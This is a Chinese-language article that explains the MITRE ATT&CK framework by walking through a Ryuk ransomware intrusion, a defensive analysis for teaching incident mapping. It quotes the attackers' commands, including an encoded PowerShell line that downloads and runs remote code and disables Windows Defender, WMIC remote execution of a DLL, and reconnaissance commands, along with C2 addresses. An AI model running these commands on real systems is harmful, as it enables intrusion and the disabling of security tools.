ATT&CK(Adversarial Tactics, Techniques, and Common Knowledge )是一個攻擊行為知識庫和模型,它來源於美國的MITRE公司,主要被應用於
評估攻防能力覆蓋、高級持續威脅情報分析、威脅狩獵以及攻擊模擬等領域。ATT&CK中定義了戰術、技術、組織、軟件等關鍵對象,用於描述相關安全問題及其安全過程。其戰術部分被劃分為初始訪問、執行、持久化(例如將自身添加為開機自啟動)、權限提升、防禦繞過(如關閉Windows自身防禦、一些知名的殺毒軟件、關閉防火牆等)、憑據訪問(如使用Mimikatz獲取口令等)、發現、橫向移動、收集、命令和控制、數據滲透、影響等十二個部分,通過名稱我們就可看出其真實的含義。
為什麼需要使用ATT&CK框架來對網絡空間安全問題進行評價?
難道基於殺傷鏈的分析方法不行麼?
應該可以看出,基於洛克希德馬丁公司的殺傷鏈模型 或稱之為殺傷鏈分析方法基本上是基於一個比較宏觀的角度進行的。而針對某個具體的攻擊、入侵場景似乎有點捉襟見肘了(因為可能除了在一些特殊的場景下,客戶在一個較短持續時間內一般遇到的安全問題還是比較有限的)。
而在ATT&CK框架模型中,除了可以使用戰術階段來描述,更為重要的是它提供了具體分析的技術部分,從而能夠非常清晰地將安全事件描述出來。
以下以一個近期發現的Ryuk家族勒索為例,研究下究竟在ATT&CK的世界中是怎樣進行的。
一般的勒索軟件是通過大規模垃圾郵件植入受害者計算機的,而Ryuk家族勒索軟件則更傾向於定製化的攻擊,但其植入手段也是利用郵件釣魚,本次獲取的Ryuk勒索軟件樣本亦如此。
1初始訪問(Initial Access)
通過分析可以看出,最初植入是攻擊者通過電子郵件發送給受害者的。如果執行則可以看到Bazar/Kegtap後門被加載,它會下載並運行文件Preview.exe,並通過443/https連接到IP地址5.182.210.145。
2執行(Execution)
在此階段,受害者計算機會執行一些腳本或執行程序,如:
WMIC /node:"DC.example.domain" process call create "rundll32 C:\PerfLogs\arti64.dll, StartW"
而且執行進程注入,如下圖所示(圖中表明偵測到了CreateRemoteThread被調用):
3防禦繞過(Defense Evasion)
根據觀察,此勒索軟件會調用命令關閉Windows Defender,命令如下:
powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA3ADgAMAAxAC8AJwApADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlAA==
上述命令中的命令部分被進行了base64編碼,經過解碼如下(加粗部分為關閉監控):
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:7801/'); Set-MpPreference -DisableRealtimeMonitoring $true
4發現(Discovery)
在Preview.exe執行後,文件AdFind和adf.bat文件被釋放。可以看到批處理文件adf.bat被執行了很多次,此腳本會輸出以下文件:
它同時還會使用systeminfo、nltest、net等命令探測相關環境,如:
nltest /dclist:
它還會使用如下命令對殺毒軟件進行枚舉:
WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
5橫向移動(Lateral Movement)
此勒索軟件樣本的橫向移動行為一般發生在其初始訪問後的28小時左右,它會利用MS17-010進行擴散,執行的命令如下:
WMIC /node:"DC.example.domain" process call create "rundll32 C:\\PerfLogs\\arti64.dll, StartW"
之後會生成一個經過base64編碼的腳本,經過解碼內容如下:
此時,C&C連接出現在域控服務器上,它通過443/https連接到martahzz[.]com–88.119.171[.]75。其目的是為了進行橫向移動,它在主機執行(使用SMB方式)第一次橫向移動後大約一小時執行。可以觀察到,此橫向移動在許多系統上遇到無法執行的問題,但在其中一個系統上,成功地遠程掛載了磁盤。
6命令和控制(Command and Control)
在整個入侵、植入、擴散過程中,可以發現它和C2服務器有不同程度的交互,這包含了如下相關指示器(主要為IP地址和通訊證書):
Bazar:
■ 5.182.210.145/443,證書指紋:[ec:4c:07:b8:3b:6a:a0:bf:60:36:b7:f4:92:9e:83:81:0f:96:46:b0 ]
Cobalt strike:
■ 88.119.171.75/443,證書指紋:[ee:92:91:6b:7e:31:85:22:65:eb:16:11:c4:8f:0a:75:c9:05:1d:4b ]
■ 107.173.58.183/443,證書指紋:[e2:13:2c:a4:29:ae:f3:fa:35:1f:e1:5b:2c:25:76:57:37:5b:dc:35 ]
所有被成功侵害的計算機均被留下如下標記:
勒索者要求支付600萬美元以解密重要數據,但金額可以談判。據其它資料表明這些談判代表可能來自希臘(185.51.134.195)、美國(206.221.176.24,44.226.12.172)等國家,當然不排除上述IP地址只是“肉雞”。
通過總結,在整個滲透過程中,此Ryuk樣本使用瞭如下技術(分佈在不同的戰術階段;後面部分為相應的技術編號):
1. 用戶執行 – T1204
2. WMI – T1047
3. 服務執行 – T1035
4. 腳本 – T1064
5. PowerShell – T1086
6. Rundll32 – T1085
7. 進程注入 – T1055
8. 賬戶操作 – T1078
9. 關閉安全工具 – T1089
10. 賬號發現 – T1087
11. 域可信發現 – T1482
12. 掃描網絡服務 – T1046
13. 查詢註冊表 – T1012
14. 遠程系統發現 – T1018
15. 安全軟件發現 – T1063
16. 遠程服務 – T1021
17. 常見網絡端口 – T1043
18. 標準應用層協議 – T1071
19. 數據加密 – T1486
通過上述描述可以看出,利用ATT&CK框架對相關安全問題進行定位和分析時,其便捷性是不言而喻的,而且分析結果也更加使人易於理解,在還原整個攻擊過程時也更為詳盡和有針對性,故可以認為此分析框架具有非常廣泛的應用前景。